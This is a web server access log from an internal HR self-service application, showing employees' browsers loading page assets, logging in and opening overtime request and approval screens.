192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.81 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.81 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.81 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:31:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.81 - - [06/Sep/2025:11:31:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:31:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.81 - - [06/Sep/2025:11:31:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.81 - - [06/Sep/2025:11:31:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:31:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:31:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.104 - - [06/Sep/2025:11:31:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1144957 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1144957
192.168.11.81 - - [06/Sep/2025:11:31:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.81 - - [06/Sep/2025:11:31:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:32:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6179731045689667 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:32:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6179731045689667 HTTP/1.1" 200 8420
192.168.11.104 - - [06/Sep/2025:11:31:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:31:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:32:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
